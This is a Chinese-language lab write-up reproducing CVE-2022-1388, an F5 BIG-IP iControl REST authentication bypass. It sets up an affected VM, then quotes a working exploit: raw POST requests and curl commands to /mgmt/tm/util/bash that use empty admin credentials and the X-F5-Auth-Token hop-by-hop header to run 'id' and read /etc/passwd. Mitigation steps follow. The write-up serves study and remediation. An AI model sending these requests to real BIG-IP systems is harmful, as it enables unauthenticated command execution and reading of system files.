CVE-2022-1388： BIG-IP iControl REST 漏洞

0x00 影响

Impact

This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

根据官方描述得知，该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问，并能执行任意系统命令、创建、删除文件以及关闭服务。

0x01 复现

从官网https://downloads.f5.com/esd/productlines.jsp下载4个版本虚拟镜像，本地复现：

选择镜像需要在受影响版本内的虚拟机ova包，

下载好的镜像，直接双击打卡导入，或者在虚拟机中选择导入均可：

导入完成后打开该虚拟机，需要获取该虚拟机的ip，终端输入root/default登录后输入ifconfig mgmt即可查看ip

然后在浏览器输入https://<ip>打开看到登录界面抓包即可

参考https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html的exp如下：

\# F5 BIG-IP RCE exploitation (CVE-2022-1388)  
  
POST (1):  
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0  
{“command”: “run” , “utilCmdArgs”: “ -c ‘id’ “ }  
curl commandliner:  
$ curl -i -s -k -X $‘POST’
-H $‘Host: <redacted>:8443’
-H $‘Authorization: Basic YWRtaW46’
-H $‘Connection: keep-alive, X-F5-Auth-Token’
-H $‘X-F5-Auth-Token: 0’
-H $‘Content-Length: 52’
--data-binary $‘{\“command\“: \“run\“ , \“utilCmdArgs\“: \“ -c \‘id\‘ \“ }\x0d\x0a’
$‘https://<redacted>:8443/mgmt/tm/util/bash’ –proxy http://127.0.0.1:8080  
POST (2):  
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0  
{“command”: “run” , “utilCmdArgs”: “ -c ‘ cat /etc/passwd’ “ }  
curl commandliner:  
$ curl -i -s -k -X $‘POST’
-H $‘Host: <redacted>:8443’
-H $‘Authorization: Basic YWRtaW46’ -H $‘Connection: keep-alive, X-F5-Auth-Token’
-H $‘X-F5-Auth-Token: 0’
--data-binary $‘{\“command\“: \“run\“ , \“utilCmdArgs\“: \“ -c \‘ cat /etc/passwd\‘ \“ }\x0d\x0a\x0d\x0a’
$‘https://<redacted>/mgmt/tm/util/bash’ –proxy http://127.0.0.1:8080  

问题可能与使用空凭据admin:绕过了前端和后端身份验证有关，以及HTTP的 hop_by_hop请求头问题:

https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers

HTTP的 hop_by_hop请求头问题，大概意思就是讲：

请求还可以定义一组自定义的标头，通过将它们添加到标头中来逐跳处理Connection，如下所示：

Connection: close, X-Foo, X-Bar

在此示例中，我们要求代理将X-Foo和X-Bar作为逐跳处理，这意味着我们希望代理在传递请求之前将它们从请求中删除。

复现过程中发现只有14.x-16.x版本的请求头需要为Host:localhost才可以。

0x02 修复方案

建议升级只最新版本或可参考官方修复建议：https://support.f5.com/csp/article/K23605346 的Recommended Actions

在受影响的版本内可执行以下步骤以缓解攻击：

通过自身 IP 地址阻止 iControl REST 访问

通过管理界面阻止 iControl REST 访问

修改 BIG-IP httpd 配置

0x03 参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388

https://support.f5.com/csp/article/K23605346

https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html

https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers